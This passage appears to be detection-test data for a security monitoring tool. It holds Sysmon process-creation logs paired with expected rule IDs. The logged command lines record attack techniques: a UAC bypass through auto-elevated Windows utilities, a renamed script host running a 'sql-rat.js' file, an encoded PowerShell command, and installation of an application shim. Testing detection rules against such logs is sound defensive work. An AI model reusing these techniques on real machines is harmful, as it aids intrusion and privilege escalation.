0x1BF6B8\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=45526CE11BD5D10073B2DA21B608A8DFA652A80A,MD5=26230E6CBB94363405DCA88E06C96C12,SHA256=3C52E817A18EFD5670C1B8A2FEBBA53673DC70875271933C075116990EF0C255,IMPHASH=B788892AE84BA86201A726810F01CB07\\r\\nParentProcessGuid: {94f48244-c492-615e-ba00-000000001a00}\\r\\nParentProcessId: 2612\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: cmd.exe /c C:\\\\Windows\\\\Syswow64\\\\SystemPropertiesAdvanced.exe\\\"\", \"version\": \"5\", \"systemTime\": \"2021-10-07T09:57:45.3147346Z\", \"eventRecordID\": \"16636\", \"threadID\": \"2836\", \"computer\": \"itadmin.xrisbarney.local\", \"task\": \"1\", \"processID\": \"2400\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\Syswow64\\\\SystemPropertiesAdvanced.exe", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Advanced System Settings", "win.eventdata.fileVersion": "10.0.19041.1 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=45526CE11BD5D10073B2DA21B608A8DFA652A80A,MD5=26230E6CBB94363405DCA88E06C96C12,SHA256=3C52E817A18EFD5670C1B8A2FEBBA53673DC70875271933C075116990EF0C255,IMPHASH=B788892AE84BA86201A726810F01CB07", "win.eventdata.image": "C:\\\\Windows\\\\SysWOW64\\\\SystemPropertiesAdvanced.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{94f48244-c374-615e-b8f6-1b0000000000}", "win.eventdata.logonId": "0x1bf6b8", "win.eventdata.originalFileName": "SystemPropertiesAdvanced.EXE", "win.eventdata.parentCommandLine": "cmd.exe /c C:\\\\Windows\\\\Syswow64\\\\SystemPropertiesAdvanced.exe", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{94f48244-c492-615e-ba00-000000001a00}", "win.eventdata.parentProcessId": "2612", "win.eventdata.processGuid": "{94f48244-c497-615e-bc00-000000001a00}", "win.eventdata.processId": "3544", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059,technique_name=Command-Line Interface", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "XRISBARNEY\\\\itadmin", "win.eventdata.utcTime": "2021-10-07 09:57:43.466", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "itadmin.xrisbarney.local", "win.system.eventID": "1", "win.system.eventRecordID": "16636", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2400", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-07T09:57:45.3147346Z", "win.system.task": "1", "win.system.threadID": "2836", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92036", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "A SystemPropertiesAdvanced.exe binary was started by a suspicious Windows cmd shell."} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"wscript.exe\", \"image\": \"C:\\\\\\\\Users\\\\\\\\st9\\\\\\\\AppData\\\\\\\\Local\\\\\\\\adb156.exe\", \"product\": \"Microsoft ® Windows Script Host\", \"parentProcessGuid\": \"{50263ab4-28cb-6154-1400-000000000d00}\", \"description\": \"Microsoft ® Windows Based Script Host\", \"logonGuid\": \"{50263ab4-28e1-6154-3272-050000000000}\", \"parentCommandLine\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\svchost.exe -k netsvcs -p\", \"processGuid\": \"{50263ab4-3306-6154-5101-000000000d00}\", \"logonId\": \"0x57232\", \"parentProcessId\": \"368\", \"processId\": \"6988\", \"currentDirectory\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\", \"utcTime\": \"2021-09-29 09:33:58.115\", \"hashes\": \"SHA1=C2326CC50A739D3BC512BB65A24D42F1CDE745C9,MD5=FF00E0480075B095948000BDC66E81F0,SHA256=8C767077BB410F95B1DB237B31F4F6E1512C78C1F0120DE3F215B501F6D1C7EA,IMPHASH=3602F3C025378F418F804C5D183603FE\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\", \"ruleName\": \"technique_id=T1202,technique_name=Indirect Command Execution\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"C:\\\\\\\\Users\\\\\\\\st9\\\\\\\\AppData\\\\\\\\Local\\\\\\\\adb156.exe /b /e:jscript C:\\\\\\\\Users\\\\\\\\st9\\\\\\\\AppData\\\\\\\\Local\\\\\\\\sql-rat.js\", \"integrityLevel\": \"Medium\", \"fileVersion\": \"5.812.10240.16384\", \"user\": \"DESKTOP-P45R1DM\\\\\\\\st9\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1202,technique_name=Indirect Command Execution\\r\\nUtcTime: 2021-09-29 09:33:58.115\\r\\nProcessGuid: {50263ab4-3306-6154-5101-000000000d00}\\r\\nProcessId: 6988\\r\\nImage: C:\\\\Users\\\\st9\\\\AppData\\\\Local\\\\adb156.exe\\r\\nFileVersion: 5.812.10240.16384\\r\\nDescription: Microsoft ® Windows Based Script Host\\r\\nProduct: Microsoft ® Windows Script Host\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: wscript.exe\\r\\nCommandLine: C:\\\\Users\\\\st9\\\\AppData\\\\Local\\\\adb156.exe /b /e:jscript C:\\\\Users\\\\st9\\\\AppData\\\\Local\\\\sql-rat.js\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: DESKTOP-P45R1DM\\\\st9\\r\\nLogonGuid: {50263ab4-28e1-6154-3272-050000000000}\\r\\nLogonId: 0x57232\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=C2326CC50A739D3BC512BB65A24D42F1CDE745C9,MD5=FF00E0480075B095948000BDC66E81F0,SHA256=8C767077BB410F95B1DB237B31F4F6E1512C78C1F0120DE3F215B501F6D1C7EA,IMPHASH=3602F3C025378F418F804C5D183603FE\\r\\nParentProcessGuid: {50263ab4-28cb-6154-1400-000000000d00}\\r\\nParentProcessId: 368\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\svchost.exe\\r\\nParentCommandLine: C:\\\\Windows\\\\system32\\\\svchost.exe -k netsvcs -p\\\"\", \"version\": \"5\", \"systemTime\": \"2021-09-29T09:33:58.1211923Z\", \"eventRecordID\": \"17827\", \"threadID\": \"3400\", \"computer\": \"DESKTOP-P45R1DM\", \"task\": \"1\", \"processID\": \"2384\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Users\\\\st9\\\\AppData\\\\Local\\\\adb156.exe /b /e:jscript C:\\\\Users\\\\st9\\\\AppData\\\\Local\\\\sql-rat.js", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Microsoft ® Windows Based Script Host", "win.eventdata.fileVersion": "5.812.10240.16384", "win.eventdata.hashes": "SHA1=C2326CC50A739D3BC512BB65A24D42F1CDE745C9,MD5=FF00E0480075B095948000BDC66E81F0,SHA256=8C767077BB410F95B1DB237B31F4F6E1512C78C1F0120DE3F215B501F6D1C7EA,IMPHASH=3602F3C025378F418F804C5D183603FE", "win.eventdata.image": "C:\\\\Users\\\\st9\\\\AppData\\\\Local\\\\adb156.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{50263ab4-28e1-6154-3272-050000000000}", "win.eventdata.logonId": "0x57232", "win.eventdata.originalFileName": "wscript.exe", "win.eventdata.parentCommandLine": "C:\\\\Windows\\\\system32\\\\svchost.exe -k netsvcs -p", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\svchost.exe", "win.eventdata.parentProcessGuid": "{50263ab4-28cb-6154-1400-000000000d00}", "win.eventdata.parentProcessId": "368", "win.eventdata.processGuid": "{50263ab4-3306-6154-5101-000000000d00}", "win.eventdata.processId": "6988", "win.eventdata.product": "Microsoft ® Windows Script Host", "win.eventdata.ruleName": "technique_id=T1202,technique_name=Indirect Command Execution", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "DESKTOP-P45R1DM\\\\st9", "win.eventdata.utcTime": "2021-09-29 09:33:58.115", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "DESKTOP-P45R1DM", "win.system.eventID": "1", "win.system.eventRecordID": "17827", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2384", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-29T09:33:58.1211923Z", "win.system.task": "1", "win.system.threadID": "3400", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92054", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Suspicious execution of .js file by $(win.eventdata.image)"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"ComputerDefaults.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\ComputerDefaults.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-24e2-6157-09e1-390000000000}\",\"description\":\"Set Program Access and Computer Defaults Control Panel\",\"logonGuid\":\"{4dc16835-1dfb-6157-1cf5-0c0000000000}\",\"parentCommandLine\":\"powershell.exe -c C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\uac-samcats.ps1\",\"processGuid\":\"{4dc16835-24e3-6157-4920-3a0000000000}\",\"logonId\":\"0xcf51c\",\"parentProcessId\":\"3892\",\"processId\":\"1328\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-10-01 15:10:27.700\",\"hashes\":\"SHA1=27A9BB9D7628D442F9B5CF47711C906E3315755B,MD5=D25A9E160E3B74EF2242023726F15416,SHA256=7B0334C329E40A542681BCAFF610AE58ADA8B1F77FF6477734C1B8B9A951EF4C,IMPHASH=00B74CCF8A4820BD574431AE64ECF0C5\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"ruleName\":\"technique_id=T1086,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\ComputerDefaults.exe\\\\\\\"\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.1 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1086,technique_name=PowerShell\\r\\nUtcTime: 2021-10-01 15:10:27.700\\r\\nProcessGuid: {4dc16835-24e3-6157-4920-3a0000000000}\\r\\nProcessId: 1328\\r\\nImage: C:\\\\Windows\\\\System32\\\\ComputerDefaults.exe\\r\\nFileVersion: 10.0.19041.1 (WinBuild.160101.0800)\\r\\nDescription: Set Program Access and Computer Defaults Control Panel\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: ComputerDefaults.EXE\\r\\nCommandLine: \\\"C:\\\\Windows\\\\System32\\\\ComputerDefaults.exe\\\" \\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-1dfb-6157-1cf5-0c0000000000}\\r\\nLogonId: 0xCF51C\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=27A9BB9D7628D442F9B5CF47711C906E3315755B,MD5=D25A9E160E3B74EF2242023726F15416,SHA256=7B0334C329E40A542681BCAFF610AE58ADA8B1F77FF6477734C1B8B9A951EF4C,IMPHASH=00B74CCF8A4820BD574431AE64ECF0C5\\r\\nParentProcessGuid: {4dc16835-24e2-6157-09e1-390000000000}\\r\\nParentProcessId: 3892\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nParentCommandLine: powershell.exe -c C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\uac-samcats.ps1\\\"\",\"version\":\"5\",\"systemTime\":\"2021-10-01T15:10:27.7040242Z\",\"eventRecordID\":\"404197\",\"threadID\":\"3916\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2440\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\System32\\\\ComputerDefaults.exe\\\"", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Set Program Access and Computer Defaults Control Panel", "win.eventdata.fileVersion": "10.0.19041.1 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=27A9BB9D7628D442F9B5CF47711C906E3315755B,MD5=D25A9E160E3B74EF2242023726F15416,SHA256=7B0334C329E40A542681BCAFF610AE58ADA8B1F77FF6477734C1B8B9A951EF4C,IMPHASH=00B74CCF8A4820BD574431AE64ECF0C5", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\ComputerDefaults.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-1dfb-6157-1cf5-0c0000000000}", "win.eventdata.logonId": "0xcf51c", "win.eventdata.originalFileName": "ComputerDefaults.EXE", "win.eventdata.parentCommandLine": "powershell.exe -c C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\uac-samcats.ps1", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.parentProcessGuid": "{4dc16835-24e2-6157-09e1-390000000000}", "win.eventdata.parentProcessId": "3892", "win.eventdata.processGuid": "{4dc16835-24e3-6157-4920-3a0000000000}", "win.eventdata.processId": "1328", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1086,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-10-01 15:10:27.700", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "404197", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2440", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-01T15:10:27.7040242Z", "win.system.task": "1", "win.system.threadID": "3916", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92056", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Powershell process invoked known auto-elevated utility"} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"PowerShell.EXE\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"product\": \"Microsoft® Windows® Operating System\", \"parentProcessGuid\": \"{94f48244-3769-6164-9001-000000001200}\", \"description\": \"Windows PowerShell\", \"logonGuid\": \"{94f48244-3769-6164-61af-aa0000000000}\", \"parentCommandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\\\\\"\", \"processGuid\": \"{94f48244-3a4f-6164-e701-000000001200}\", \"logonId\": \"0xaaaf61\", \"parentProcessId\": \"9672\", \"processId\": \"5968\", \"currentDirectory\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\", \"utcTime\": \"2021-10-11 13:21:19.419\", \"hashes\": \"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"ruleName\": \"technique_id=T1086,technique_name=PowerShell\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\\\\\" -noprofile -encodedCommand JABkAGwAbAAgAD0A==\", \"integrityLevel\": \"High\", \"fileVersion\": \"10.0.19041.546 (WinBuild.160101.0800)\", \"user\": \"XRISBARNEY\\\\\\\\itadmin\", \"terminalSessionId\": \"2\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1086,technique_name=PowerShell\\r\\nUtcTime: 2021-10-11 13:21:19.419\\r\\nProcessGuid: {94f48244-3a4f-6164-e701-000000001200}\\r\\nProcessId: 5968\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: \\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\" -noprofile -encodedCommand JABkAGwAbAAgAD0A==\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: XRISBARNEY\\\\itadmin\\r\\nLogonGuid: {94f48244-3769-6164-61af-aa0000000000}\\r\\nLogonId: 0xAAAF61\\r\\nTerminalSessionId: 2\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {94f48244-3769-6164-9001-000000001200}\\r\\nParentProcessId: 9672\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\" \\\"\", \"version\": \"5\", \"systemTime\": \"2021-10-11T13:21:19.4273225Z\", \"eventRecordID\": \"5712\", \"threadID\": \"4792\", \"computer\": \"accounting.xrisbarney.local\", \"task\": \"1\", \"processID\": \"6116\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\" -noprofile -encodedCommand JABkAGwAbAAgAD0A==", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{94f48244-3769-6164-61af-aa0000000000}", "win.eventdata.logonId": "0xaaaf61", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.parentProcessGuid": "{94f48244-3769-6164-9001-000000001200}", "win.eventdata.parentProcessId": "9672", "win.eventdata.processGuid": "{94f48244-3a4f-6164-e701-000000001200}", "win.eventdata.processId": "5968", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1086,technique_name=PowerShell", "win.eventdata.terminalSessionId": "2", "win.eventdata.user": "XRISBARNEY\\\\itadmin", "win.eventdata.utcTime": "2021-10-11 13:21:19.419", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "accounting.xrisbarney.local", "win.system.eventID": "1", "win.system.eventRecordID": "5712", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "6116", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-11T13:21:19.4273225Z", "win.system.task": "1", "win.system.threadID": "4792", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92057", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Powershell.exe spawned a powershell process which executed a base64 encoded command."} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"sdbinst.exe\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\sdbinst.exe\", \"product\": \"Microsoft® Windows® Operating System\", \"parentProcessGuid\": \"{94f48244-3a4f-6164-e701-000000001200}\", \"description\": \"Application Compatibility Database Installer\", \"logonGuid\": \"{94f48244-3769-6164-61af-aa0000000000}\", \"parentCommandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\\\\\" -noprofile -encodedCommand JABkAGwAbAAgAD0A==\", \"processGuid\": \"{94f48244-3a5a-6164-e801-000000001200}\", \"logonId\": \"0xaaaf61\", \"parentProcessId\": \"5968\", \"processId\": \"7160\", \"currentDirectory\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\", \"utcTime\": \"2021-10-11 13:21:30.824\", \"hashes\": \"SHA1=105B3AC07AF3849E9A6ACB064AB9BDCBEB80F326,MD5=0D1846AA458BED45C564F6B050CECC44,SHA256=6A35A458BDCE60ABC8236C8EC2915505ADC9370812E78FCDEAAC8C494F563FB1,IMPHASH=5D01C40092C3C1075F7A8335CD70663B\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"ruleName\": \"technique_id=T1546.011,technique_name=Application Shimming\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\sdbinst.exe\\\\\\\" C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\sdbE376.tmp\", \"integrityLevel\": \"High\", \"fileVersion\": \"10.0.19041.928 (WinBuild.160101.0800)\", \"user\": \"XRISBARNEY\\\\\\\\itadmin\", \"terminalSessionId\": \"2\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1546.011,technique_name=Application Shimming\\r\\nUtcTime: 2021-10-11 13:21:30.824\\r\\nProcessGuid: {94f48244-3a5a-6164-e801-000000001200}\\r\\nProcessId: 7160\\r\\nImage: C:\\\\Windows\\\\System32\\\\sdbinst.exe\\r\\nFileVersion: 10.0.19041.928 (WinBuild.160101.0800)\\r\\nDescription: Application Compatibility Database Installer\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: sdbinst.exe\\r\\nCommandLine: \\\"C:\\\\Windows\\\\system32\\\\sdbinst.exe\\\" C:\\\\Windows\\\\Temp\\\\sdbE376.tmp\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: XRISBARNEY\\\\itadmin\\r\\nLogonGuid: {94f48244-3769-6164-61af-aa0000000000}\\r\\nLogonId: 